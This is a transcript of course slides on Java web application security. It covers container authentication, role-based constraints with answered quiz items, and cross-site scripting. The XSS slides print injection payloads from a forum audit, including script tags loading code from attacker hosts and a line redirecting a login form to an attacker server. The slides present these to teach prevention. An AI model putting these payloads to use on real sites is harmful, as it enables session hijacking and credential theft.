COMP 321 Week 12. Overview Web Application Security Authentication Authorization Confidentiality...
-
Upload
harvey-norman -
Category
Documents
-
view
212 -
download
0
Transcript of COMP 321 Week 12. Overview Web Application Security Authentication Authorization Confidentiality...
COMP 321
Week 12
Overview
Web Application Security Authentication Authorization Confidentiality
Cross-Site Scripting
Lab 12-1 Introduction
Types of “Bad Guys”
Impersonators: pretend to be someone with access
Upgraders: have valid accounts, but increase their access level
Eavesdroppers: listen in on web traffic
Security Answer
Authentication: foils impersonators
Authorization: foils upgraders
Confidentiality and Data Integrity: foils eavesdroppers
HTTP Authentication
1. Client requests protected resource
2. Container returns 401 - Unauthorized
3. Browser asks the user for username and password
4. Browser requests resource again with credentials
5. Container verifies credentials
6. Container returns resource
Authorization - Defining Roles<!-- in tomcat-users.xml (vendor-specific) --><tomcat-users> <role rolename="Admin"/> <role rolename="Member"/> <role rolename="Guest"/> <user username="Annie" password="admin" roles="Admin, Member, Guest"/> <user username="Diane" password="coder" roles="Member, Guest"/> <user username="Ted" password="newbie" roles="Guest"/></tomcat-users>
<!-- In DD --><security-role><role-name>Admin</role-name></security-role><security-role><role-name>Member</role-name></security-role><security-role><role-name>Guest</role-name></security-role><login-config> <auth-method>BASIC</auth-method></login-config>
Authorization - Defining Constraints
<web-app ...> <security-constraint> <web-resource-collection> <web-resource-name>UpdateRecipes</web-resource-name>
<url-pattern>/Beer/AddRecipe/*</url-pattern> <url-pattern>/Beer/ReviewRecipe/*</url-pattern>
<http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection>
<auth-constraint> <role-name>Admin</role-name> <role-name>Member</role-name> </auth-constraint> </security-constraint></web-app>
Sharpen Your Pencil
Consider the code above. What security step must have happened before this snippet runs?
What security step is implied by this snippet?
What part, if any, does the DD play in this snippet?
How do you think this code works?
What if the role of Manager doesn't exist in your container?
// In servletif (request.isUserInRole("Manager")) { // Do something}else { // Do something else}
Sharpen Your Pencil
Consider the code above. What security step must have happened before this snippet runs? Authentication
What security step is implied by this snippet? Authorization
What part, if any, does the DD play in this snippet? It can be used to link the role name Manager to a role defined in the container (as below).
How do you think this code works?
What if the role of Manager doesn't exist in your container?
<web-app ...> <servlet> <security-role-ref> <role-name>Manager</role-name> <role-link>Admin</role-link></security-role-ref> </servlet> ...</web-app>
Sharpen Your PencilBased on the constraints shown below, decide who can access the protected
resources:
<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>
Nobody?Guest?Member?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>
Nobody?Guest? YesMember?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint/></security-constraint>
Nobody?Guest?Member?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint/></security-constraint>
Nobody? YesGuest?Member?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Admin</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>
Nobody?Guest?Member?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Admin</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>
Nobody?Guest? YesMember?Admin? YesEveryone?
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>*</role-name> </auth-constraint></security-constraint>
Nobody?Guest?Member?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>*</role-name> </auth-constraint></security-constraint>
Nobody?Guest?Member?Admin?Everyone? Yes
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <!-- No auth-constraint here --></security-constraint>
Nobody?Guest?Member?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <!-- No auth-constraint here --></security-constraint>
Nobody?Guest?Member?Admin?Everyone? Yes
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint/></security-constraint>
Nobody?Guest?Member?Admin?Everyone?
Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint/></security-constraint>
Nobody? YesGuest?Member?Admin?Everyone?
Authentication
BASIC – Pops up dialog, sends login information encoded in base64 format
DIGEST – Sends information in a more secure way, not part of J2EE
CLIENT-CERT – Sends login information encrypted with public key, but requires client to have the certificate installed
FORM – Allows custom login form to be created in HTML, sends login information in the clear
Authentication<!-- Selecting authentication method (works for DIGEST or CLIENT-CERT, too)
--><login-config> <auth-method>BASIC</auth-method></login-config>
<!-- Configuring form-based authentication --><login-config> <auth-method>FORM</auth-method> <form-login-config> <form-login-page>/loginPage.html</form-login-page> <form-error-page>/loginError.html</form-error-page> </form-login-config></login-config>
Authentication<!-- In loginPage.html -->You need to log in<form method="POST" action="j_security_check"> <input type="text" name="j_username"> <input type="password" name="j_password"> <input type="submit" value="Enter"></form>
<!-- In loginError.html --><html><body>Sorry, wrong password.</body></html>
Confidentiality and Data Integrity
<web-app ...> <security-constraint> <web-resource-collection> <web-resource-name>Recipes</web-resource-name> <url-pattern>/Beer/UpdateRecipes/*</url-pattern> <http-method>POST</http-method> </web-resource-collection>
<auth-constraint> <role-name>Member</role-name> </auth-constraint>
<user-data-constraint> <!-- Also could be INTEGRAL --> <transport-guarantee>CONFIDENTIAL</transport-guarantee> </user-data-constraint> </security-constraint></web-app>
Confidentiality and Data Integrity
1. Client requests constrained resource with transport guarantee (/BuyStuff.jsp)
2. Container sends a 301 Redirect to the client for https://...
3. Browser makes same request over secure connection
4. Container sees resource is constrained, so responds with 401, causing user to log in
5. Browser makes same request for a third time with credentials included, and finally receives page
Cross-Site Scripting
A way of putting JavaScript into a vulnerable site that will be executed by other users' browsers
One of the biggest vulnerabilities on the web right now, along with SQL injection
Cross-Site Scripting
Cross-Site Scripting<!-- In form.html --><form action = './preview.do' method = 'POST'>Image: <input type = 'text' name = 'image'><br />Alignment: <select name = 'orientation'><option value =
'center'>center</option><option value = 'left'>left</option></select><br />
Width: <input name = "width" size = "4" type = 'text' maxlength = '3'><br />
<input type = 'submit'>
</form>
<!-- In response page -->http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><img
src = 'http://www.google.com/images/logo_sm.gif' width = ''></div>
Attacker Running their own JavaScript!
<!-- What if we enter the following into the image field? -->http://www.google.com/images/logo_sm.gif'><script>alert('test')</script>
<!-- In response page -->http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><img
src = 'http://www.google.com/images/logo_sm.gif'><script>alert('test')</script>' width = ''></div>
Opportunities for “Bad Guys”
Change page contents
Install malware, and make your site look like the bad guy
Steal cookies, and hijack someone else's session
Strategies for Prevention
Sanitize the inputs from the user, and make sure they don't contain script
Fix the image and width fields in the code that handles form submission. Are we safe now?
Cross-Site Scripting<!-- What if we change the select to a text box? --><form action = './preview.do' method = 'POST'>
Image: <input type = 'text' name = 'image'><br />Alignment: <input type = 'text' name = 'orientation'><br />Width: <input name = "width" size = "4" type = 'text' maxlength =
'3'><br /><input type = 'submit'>
</form>
XSS Audit
David Zimmer performed an XSS audit of a forum site, and posted his thought process here:
http://sandsprite.com/Sleuth/papers/RealWorld_XSS_3.html
XSS Audit
First vulnerability: User name not checked for script tags
Added code to his username:
This is displayed on every page where the user has posted
Evil.js contained a document.writeln
Used server logs to see how many people were affected
<img src='http://valid address/clear.gif' onload='document.scripts(0).src="http://myserver/evil.js"'>
XSS Audit
Second vulnerability: Article name not checked for script tags, but limited to 45 characters
This is 55 characters:
Third vulnerability: User pictures were not validated at upload, simply saved to disk
Upload "image" file, server calls it /images/778237.jpg
Change article title
Now users can be attacked by viewing the article list
Image file is really a script that sends log data, and then redirects to a real image
<script src='http://geocities.com/dzzie/x.js'></script>
<script src='images/778237.jpg'></script>
XSS Audit
Fourth vulnerability: Login handling
When a user tries to go to a page that requires an account, the site redirects to login page with referrer as the page the user tried to visit
If the user can be convinced to click a link with a script in the referrer, then they will be asked to log in and the script will then be executed
XSS Audit
To make the link less suspicious, we can encode the script
Then we can make the login form submit to our own site
http://login.asp?lan=en%2021&count=100&exp=12&ref=%3Csc%72%69pt%20s%72c%3Db%6Cah%3E%3C%2Fsc%72%69p%74%3E
document.forms(0).action = "http://myserver/myscript.asp"
XSS Prevention
Don’t allow script tags Do this with a whitelist, there are too many
possible ways to encode tags otherwise
Validate any content that users can upload to your site - text, images, etc.
Remember that anything running on the client is NOT trusted
Lab 12-1 Introduction
Design solution for the final Lab (13-1)
Define Interface for your Actions
Design Data Model that will hold the info about:– what actions should be used for which URLs– what JSPs should be used for each return
code
Progress Check
Due this week
Due next week
Continue working on Lab 10-1 “JSP User Interfaces”